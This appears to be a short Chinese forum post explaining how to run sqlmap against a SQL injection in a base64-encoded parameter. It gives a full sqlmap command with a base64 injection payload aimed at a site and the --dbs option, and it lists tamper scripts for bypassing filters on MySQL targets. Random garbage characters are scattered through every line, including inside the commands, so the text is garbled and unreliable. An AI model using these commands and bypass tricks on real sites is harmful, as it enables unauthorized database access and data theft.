WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?' v x$ @* w7 {8 S+ j0 Y/ Q; f
* [% @6 S1 Q% b+ bsqlmap的tamper里有个base64encode.py
3 T1 A" G. m4 l( v' W* G5 h3 h- L2 \- b- O$ X* f' B; n/ _
使用如下4 @( L) N# c! s
/ K X* ^% N* b6 osqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs/ i; }9 `" s& D, C
, A) M9 ~4 c# G! Z$ w
5 h; n8 J0 j" O6 f, Nsqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”
- s: B1 @8 e( c" q" O1 p
* x, {% K4 t- N8 w其中常用到的bypass脚本绕过SQLMAP主要两个脚本:
% I1 ?& y J) T3 d! N; h) f% j( d! Z6 z2 V& w5 _6 E6 K& A; l
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入1 l# e+ c/ x% H( X# [
space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入3 r9 ?; J5 z/ |7 P$ _
首先确定目标数据库版本,然后选择相应的脚本。
- p- c3 K+ A% i+ h-v 3 --batch --tamper "space2hash.py". y; x/ ~5 _1 V9 ]( E1 I+ d/ j
; u( v) n; |8 H& n$ T$ T5 e
还有其他一些插件:. {) L( D7 K" G( E3 n/ X9 P
encodes编码 ——charencode.py. C) l$ N" e. X* X/ O' p9 n
base64编码 —— base64encode.py: ^) m( M& \' F
替换空格和关键字 —— halfversionedmorekeywords.py
, B& _+ R7 K1 Y! P( x7 o( s" I9 h! ? | . T3 x# D" Q) U7 A( e
+ o8 V6 E! ]1 ]# S6 z3 F8 I, R6 ?, D( A# A4 p0 r9 `5 r
" x- H* V; J+ y4 q3 r' w
|